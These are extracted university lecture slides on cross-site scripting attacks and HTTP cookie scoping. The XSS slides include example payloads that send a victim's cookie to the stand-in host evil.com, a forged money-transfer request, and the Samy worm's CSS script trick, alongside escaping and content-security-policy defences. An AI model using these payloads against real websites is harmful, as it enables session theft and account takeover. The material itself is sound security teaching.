Web Security: XSS; Sessions

CS 161: Computer Security
Prof. Raluca Ada Popa

Mar 22, 2018

Credit: some slides are adapted from previous offerings of this course or from CS 241 of Prof. Dan Boneh
XSS Attacks
# Top web vulnerabilities

<table>
<thead>
<tr>
<th>OWASP Top 10 – 2010 (Previous)</th>
<th>OWASP Top 10 – 2013 (New)</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>A1 – Injection</strong></td>
<td><strong>A1 – Injection</strong></td>
</tr>
<tr>
<td><strong>A3 – Broken Authentication and Session Management</strong></td>
<td><strong>A2 – Broken Authentication and Session Management</strong></td>
</tr>
<tr>
<td><strong>A2 – Cross-Site Scripting (XSS)</strong></td>
<td><strong>A3 – Cross-Site Scripting (XSS)</strong></td>
</tr>
<tr>
<td>A4 – Insecure Direct Object References</td>
<td>A4 – Insecure Direct Object References</td>
</tr>
<tr>
<td>A6 – Security Misconfiguration</td>
<td>A5 – Security Misconfiguration</td>
</tr>
<tr>
<td>A7 – Insecure Cryptographic Storage – Merged with A9</td>
<td>A6 – Sensitive Data Exposure</td>
</tr>
<tr>
<td>A8 – Failure to Restrict URL Access – Broadened into</td>
<td>A7 – Missing Function Level Access Control</td>
</tr>
<tr>
<td>A5 – Cross-Site Request Forgery (CSRF)</td>
<td>A8 – Cross-Site Request Forgery (CSRF)</td>
</tr>
</tbody>
</table>

*<buried in A6: Security Misconfiguration>*
Cross-site scripting attack (XSS)

- Attacker injects a malicious script into the webpage viewed by a victim user
  - Script runs in user’s browser with access to page’s data

- The same-origin policy does not prevent XSS
Two main types of XSS

- **Stored XSS**: attacker leaves Javascript lying around on benign web service for victim to load
- **Reflected XSS**: attacker gets user to click on specially-crafted URL with script in it, web service reflects it back
Stored (or persistent) XSS

- The attacker manages to store a malicious script at the web server, e.g., at bank.com
- The server later unwittingly sends script to a victim’s browser
- Browser runs script in the same origin as the bank.com server
Demo + fix
Stored XSS (Cross-Site Scripting)

Attack Browser/Server

evil.com
Stored XSS (Cross-Site Scripting)

1. **Attack Browser/Server**
   - evil.com

2. **Inject malicious script**

3. **Server Patsy/Victim**
   - bank.com
Stored XSS (Cross-Site Scripting)

User Victim

Attack Browser/Server

1. Inject malicious script

Server Patsy/Victim

Stores the script!

bank.com
Stored XSS (Cross-Site Scripting)

1. Attack Browser/Server
   - Inject malicious script
   - evil.com
   - Stores the script!

2. User Victim
   - request content
   - bank.com
   - Server Patsy/Victim
Stored XSS (Cross-Site Scripting)

1. Inject malicious script
2. User Victim requests content
3. Server Patsy/Victim receives malicious script
   
   Stores the script!

Attack Browser/Server

evil.com

bank.com
Stored XSS (Cross-Site Scripting)

1. **Inject malicious script**
   - From `evil.com`
   - Stores the script!

2. **User Victim**
   - **request content**

3. **Server Patsy/Victim**
   - **receive malicious script**

4. **execute script embedded in input**
   - *as though server meant us to run it*

**Attack Browser/Server**

- `bank.com`
Stored XSS (Cross-Site Scripting)

1. Inject malicious script from evil.com
2. Request content
3. Receive malicious script from server Patsy/Victim
4. Execute script embedded in input as though server meant us to run it
5. Perform attacker action

Stores the script!
Stored XSS (Cross-Site Scripting)

1. Inject malicious script
2. Request content
3. Receive malicious script
4. Execute script embedded in input as though server meant us to run it
5. Perform attacker action

E.g., GET http://bank.com/sendmoney?to=DrEvil&amt=100000
Stored XSS (Cross-Site Scripting)

And/Or:

1. Inject malicious script

2. Request content

3. Receive malicious script

4. Execute script embedded in input as though server meant us to run it

5. Perform attacker action

6. Steal valuable data

Server Patsy/Victim

Attack Browser/Server

evil.com

Stores the script!

bank.com
 Stored XSS (Cross-Site Scripting)

And/Or:

1. evil.com

E.g., GET http://evil.com/steal/document.cookie

2. request content

3. receive malicious script

4. execute script embedded in input as though server meant us to run it

5. perform attacker action

6. leak valuable data

Server Patsy/Victim

Stores the script!

Attack Browser/Server

evil.com

Stores malicious script!

bank.com
**Stored XSS (Cross-Site Scripting)**

1. **Inject malicious script**
   - **Attack Browser/Server**
   - **evil.com**

2. **request content**
   - **Server Patsy/Victim**
   - **bank.com**

3. **receive malicious script**

4. **execute script embedded in input as though server meant us to run it**

5. **perform attacker action**

6. **leak valuable data**

(A “stored” XSS attack)
XSS subverts the same origin policy

• Attack happens **within the same origin**
• Attacker *tricks* a server (e.g., bank.com) to send malicious script ot users
• User visits to bank.com

Malicious script has origin of bank.com so it is permitted to access the resources on bank.com
MySpace.com (Samy worm)

• Users can post HTML on their pages
  ■ MySpace.com ensures HTML contains no
    `<script>`, `<body>`, `onclick`, `<a href=javascript://>`
  ■ ... but can do Javascript within CSS tags:
    `<div style=“background:url(‘javascript:alert(1)’)“>`

• With careful Javascript hacking, Samy worm infects anyone who visits an infected MySpace page
  ■ ... and adds Samy as a friend.
  ■ Samy had millions of friends within 24 hours.

http://namb.la/popular/tech.html
Twitter XSS vulnerability

User figured out how to send a tweet that would automatically beretweeted by all followers using vulnerable TweetDeck apps.
Stored XSS using images

Suppose `pic.jpg` on web server contains HTML!

- request for `http://site.com/pic.jpg` results in:

```
HTTP/1.1 200 OK
...
Content-Type: image/jpeg
<html> fooled ya </html>
```

- IE will render this as HTML (despite Content-Type)

- Consider photo sharing sites that support image uploads
  - What if attacker uploads an “image” that is a script?
Reflected XSS

- The attacker gets the victim user to visit a URL for bank.com that embeds a malicious Javascript or malicious content.
- The server echoes it back to victim user in its response.
- Victim’s browser executes the script within the same origin as bank.com.
Reflected XSS (Cross-Site Scripting)

Victim client
Reflected XSS (Cross-Site Scripting)

1. Visit website

Victim client

Attack Server

evil.com
Reflected XSS (Cross-Site Scripting)

1. visit web site
2. receive malicious page

Victim client

Attack Server

evil.com
Reflected XSS (Cross-Site Scripting)

1. Visit web site
2. Receive malicious page
3. Click on link

Exact URL under attacker’s control

Attack Server

Victim client

Server Patsy/Victim

bank.com

evil.com
Reflected XSS (Cross-Site Scripting)

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input

Server Patsy/Victim

Attack Server
evil.com

Victim client

bank.com
Reflected XSS (Cross-Site Scripting)

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input
5. Execute script embedded in input as though server meant us to run it
Reflected XSS (Cross-Site Scripting)

1. visit web site (Attack Server: evil.com)
2. receive malicious page
3. click on link (Server Patsy/Victim: bank.com)
4. echo user input
5. execute script embedded in input as though server meant us to run it
6. perform attacker action
Reflected XSS (Cross-Site Scripting)

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input
5. Execute script embedded in input as though server meant us to run it
6. Send valuable data

And/Or:

- Reflected XSS: evil.com
- Server Patsy/Victim: bank.com
Reflected XSS (Cross-Site Scripting)

1. Visit web site
2. Receive malicious page
3. Click on link
4. **Echo** user input
5. Execute script embedded in input as though server meant us to run it
6. Perform attacker action
7. Send valuable data

(“Reflected” XSS attack)
Example of How Reflected XSS Can Come About

- User input is echoed into HTML response.
- *Example:* search field
  - `search.php` responds with
    - `<HTML>  <TITLE> Search Results </TITLE>  
    <BODY>
    Results for $term :  
    . . .
    </BODY> </HTML>`

How does an attacker who gets you to visit evil.com exploit this?
Injection Via Script-in-URL

• Consider this link on evil.com: (properly URL encoded)

```html
  <script> window.open(
    "http://evil.com/?cookie = " +
    document.cookie ) </script>
```

What if user clicks on this link?

1) Browser goes to bank.com/search.php?...
2) bank.com returns
   `<HTML> Results for <script> ... </script> ...`
3) Browser **executes** script *in same origin* as bank.com
   Sends to evil.com the cookie for bank.com
2006 Example Vulnerability

- Attackers contacted users via email and fooled them into accessing a particular URL hosted on the legitimate PayPal website.
- Injected code redirected PayPal visitors to a page warning users their accounts had been compromised.
- Victims were then redirected to a phishing site and prompted to enter sensitive financial data.

You Can Apparently Leave a Poop Emoji—Or Anything Else You Want—on Trump’s Website

By Jordan Weissmann

Trump’s site hacked around elections ... apparently reflected XSS!!!!
You could insert anything you wanted in the headlines by typing it into the URL – a form of reflected XSS

And https://www.donaldjtrump.com/press-releases/archive/trump%20is%20bad%20at%20internet gets you:

![Trump is Bad at Internet](image-url)

ICYMI: EXCLUSIVE: IT'S FULL-BORE AHEAD FOR FBI'S CLINTON FOUNDATION PROBE

- NOVEMBER 08, 2016 -

*** CATEGORIES ***

VIEW ALL
STATEMENTS
ANNOUNCEMENTS
ENDORSEMENTS
Reflected XSS: Summary

- **Target:** user with Javascript-enabled *browser* who visits a vulnerable *web service* that will include parts of URLs it receives in the web page output it generates.

- **Attacker goal:** run script in user’s browser with same access as provided to server’s regular scripts (subvert SOP = *Same Origin Policy*).

- **Attacker tools:** ability to get user to click on a specially-crafted URL; optionally, a server used to receive stolen information such as cookies.

- **Key trick:** server fails to ensure that output it generates does not contain embedded scripts other than its own.
How to prevent XSS?
Preventing XSS

Web server must perform:

- **Input validation**: check that inputs are of expected form (whitelisting)
  - Avoid blacklisting; it doesn’t work well
- **Output escaping**: escape dynamic data before inserting it into HTML
Output escaping

- HTML parser looks for special characters: `< > & " '`
  - `<html>`, `<div>`, `<script>`
  - such sequences trigger actions, e.g., running script
- Ideally, user-provided input string should not contain special chars
- If one wants to display these special characters in a webpage without the parser triggering action, one has to escape the parser

<table>
<thead>
<tr>
<th>Character</th>
<th>Escape sequence</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>&lt;</code></td>
<td>&lt;</td>
</tr>
<tr>
<td><code>&gt;</code></td>
<td>&gt;</td>
</tr>
<tr>
<td><code>&amp;</code></td>
<td>&amp;amp</td>
</tr>
<tr>
<td><code>&quot;</code></td>
<td>&quot;</td>
</tr>
<tr>
<td><code>'</code></td>
<td>'</td>
</tr>
<tr>
<td><code>#39;</code></td>
<td></td>
</tr>
</tbody>
</table>
Direct vs escaped embedding

Attacker input:
<script>
...
</script>

- direct
- escaped

Browser rendering

- Attack! Script runs!
- Script does not run but gets displayed!
Escape user input!

""><SCRIPT>alert(/XSS/)</SCRIPT>""
FORGOT, IT GOES ON THE PICTURE
XSS prevention (cont’d):
Content-security policy (CSP)

- Have web server supply a whitelist of the scripts that are allowed to appear on a page
  - Web developer specifies the domains the browser should allow for executable scripts, disallowing all other scripts (including inline scripts)
- Can opt to globally disallow script execution
Summary

• XSS: Attacker injects a malicious script into the webpage viewed by a victim user
  ■ Script runs in user’s browser with access to page’s data
  ■ Bypasses the same-origin policy
• Fixes: validate/escape input/output, use CSP
Session management
HTTP is mostly stateless

- Apps do not typically store persistent state in client browsers
  - User should be able to login from any browser
- Web application servers are generally "stateless":
  - Most web server applications maintain no information in memory from request to request
    - Information typically stored in databases
  - Each HTTP request is independent; server can't tell if 2 requests came from the same browser or user.
- Statelessness not always convenient for application developers: need to tie together a series of requests from the same user
HTTP cookies
Outrageous Chocolate Chip Cookies

Recipe by: Joan
"A great combination of chocolate chips, oatmeal, and peanut butter."

Ingredients

- 1/2 cup butter
- 1/2 cup white sugar
- Market Pantry Granulated Sugar - 4lbs
  - $2.59
  - SEE DETAILS
- 1 cup all-purpose flour
- 1 teaspoon baking soda
- 1/4 teaspoon salt
- 1/2 cup rolled oats
- 1/3 cup packed brown sugar
- 1 cup semisweet chocolate chips

On Sale

What's on sale near you.

Target
1057 Eastshore Hwy
ALBANY, CA 94710
Sponsored

May we suggest
These nearby stores have ingredients on sale!
Cookies

- A way of maintaining state

Browser maintains cookie jar

GET ...

http response contains
Setting/deleting cookies by server

- The first time a browser connects to a particular web server, it has no cookies for that web server.
- When the web server responds, it includes a **Set-Cookie:** header that defines a cookie.
- Each cookie is just a name-value pair.

HTTP Header:
Set-cookie: Cookie NAME=VALUE ;
View a cookie

In a web console (firefox, tool->web developer->web console), type

`document.cookie`

to see the cookie for that site
Cookie policy

• A cookie can be accessed in mostly two ways:
  ■ When a user visits a site, the user’s browser sends automatically relevant cookies
  ■ Javascript can access it via document.cookie
• The cookie policy specifies which cookies will be sent by the browser to which sites
• Cookie policy is different from same-origin policy
Cookie scope

- When the browser connects to the same server later, it includes a Cookie: header containing the name and value, which the server can use to connect related requests.
- Domain and path inform the browser about which sites to send this cookie to.
Cookie scope

HTTP Header:
Set-cookie: NAME=VALUE ;
domain = (when to send) ;
path = (when to send)
secure = (only send over HTTPS);

- Secure: sent over https only
  - https provides secure communication (privacy and integrity)
Cookie scope

GET ...

HTTP Header:
Set-cookie: NAME=VALUE;
domain = (when to send);
path = (when to send);
secure = (only send over SSL);
expires = (when expires);
HttpOnly

- Expires is expiration date
  - Delete cookie by setting “expires” to date in past
- HttpOnly: cookie cannot be accessed by Javascript, but only sent by browser
Cookie scope

• Scope of cookie might not be the same as the URL-host name of the web server setting it

Rules on:
1. What scopes a URL-host name is allowed to set
2. When a cookie is sent to a URL
What scope a server may set for a cookie

The browser checks if the server may set the cookie, and if not, it will not accept the cookie.

**domain:** any domain-suffix of URL-hostname, except TLD

\[\text{top-level domains, e.g. `.com`}\]

**example:** host = “login.site.com”

<table>
<thead>
<tr>
<th>allowed domains</th>
<th>disallowed domains</th>
</tr>
</thead>
<tbody>
<tr>
<td>login.site.com</td>
<td>user.site.com</td>
</tr>
<tr>
<td>.site.com</td>
<td>othersite.com</td>
</tr>
<tr>
<td></td>
<td>.com</td>
</tr>
</tbody>
</table>

⇒ **login.site.com** can set cookies for all of **.site.com**
but not for another site or TLD

Problematic for sites like **.berkeley.edu**

**path:** can be set to anything
When browser sends cookie

GET //URL-domain/URL-path
Cookie: NAME = VALUE

Goal: server only sees cookies in its scope

Browser sends all cookies in URL scope:
- cookie-domain is domain-suffix of URL-domain, and
- cookie-path is prefix of URL-path, and
- [protocol=HTTPS if cookie is "secure"]
When browser sends cookie

A cookie with
  domain = example.com, and
  path = /some/path/
will be included on a request to
  http://foo.example.com/some/path/subdirectory/hello.txt
Examples: Which cookie will be sent?

**cookie 1**
- name = **userid**
- value = u1
- domain = **login.site.com**
- path = /
- non-secure

**cookie 2**
- name = **userid**
- value = u2
- domain = **.site.com**
- path = /
- non-secure

http://checkout.site.com/  cookie: userid=u2
http://login.site.com/     cookie: userid=u1, userid=u2
http://othersite.com/      cookie: none
Examples

**cookie 1**
- **name** = *userid*
- **value** = u1
- **domain** = login.site.com
- **path** = /
- **secure**

**cookie 2**
- **name** = *userid*
- **value** = u2
- **domain** = .site.com
- **path** = /
- **non-secure**

http://checkout.site.com/  
cookie: userid=u2

http://login.site.com/  
cookie: userid=u2

https://login.site.com/  
**cookie: userid=u1; userid=u2**  
(arbitrary order)
Web server at foo.example.com wants to set cookie with domain:

<table>
<thead>
<tr>
<th>domain</th>
<th>Whether it will be set, and if so, where it will be sent to</th>
</tr>
</thead>
<tbody>
<tr>
<td>(value omitted)</td>
<td>foo.example.com (exact)</td>
</tr>
<tr>
<td>bar.foo.example.com</td>
<td></td>
</tr>
<tr>
<td>foo.example.com</td>
<td></td>
</tr>
<tr>
<td>baz.example.com</td>
<td></td>
</tr>
<tr>
<td>example.com</td>
<td></td>
</tr>
<tr>
<td>ample.com</td>
<td></td>
</tr>
<tr>
<td>.com</td>
<td></td>
</tr>
</tbody>
</table>
Examples

Web server at foo.example.com wants to set cookie with domain:

<table>
<thead>
<tr>
<th>domain</th>
<th>Whether it will be set, and if so, where it will be sent to</th>
</tr>
</thead>
<tbody>
<tr>
<td>(value omitted)</td>
<td>foo.example.com (exact)</td>
</tr>
<tr>
<td>bar.foo.example.com</td>
<td>Cookie not set: domain more specific than origin</td>
</tr>
<tr>
<td>foo.example.com</td>
<td>*.foo.example.com</td>
</tr>
<tr>
<td>baz.example.com</td>
<td>Cookie not set: domain mismatch</td>
</tr>
<tr>
<td>example.com</td>
<td>*.example.com</td>
</tr>
<tr>
<td>ample.com</td>
<td>Cookie not set: domain mismatch</td>
</tr>
<tr>
<td>.com</td>
<td>Cookie not set: domain too broad, security risk</td>
</tr>
</tbody>
</table>
Client side read/write: `document.cookie`

- Setting a cookie in Javascript:
  ```javascript
  document.cookie = "name=value; expires=...;"
  ```

- Reading a cookie:
  ```javascript
  alert(document.cookie)
  ```
  prints string containing all cookies available for
  document (based on [protocol], domain, path)

- Deleting a cookie:
  ```javascript
  document.cookie = "name=; expires= Thu, 01-Jan-70"
  ```

document.cookie often used to customize page in Javascript
Viewing/deleting cookies in Browser UI

Firefox: Tools -> page info -> security -> view cookies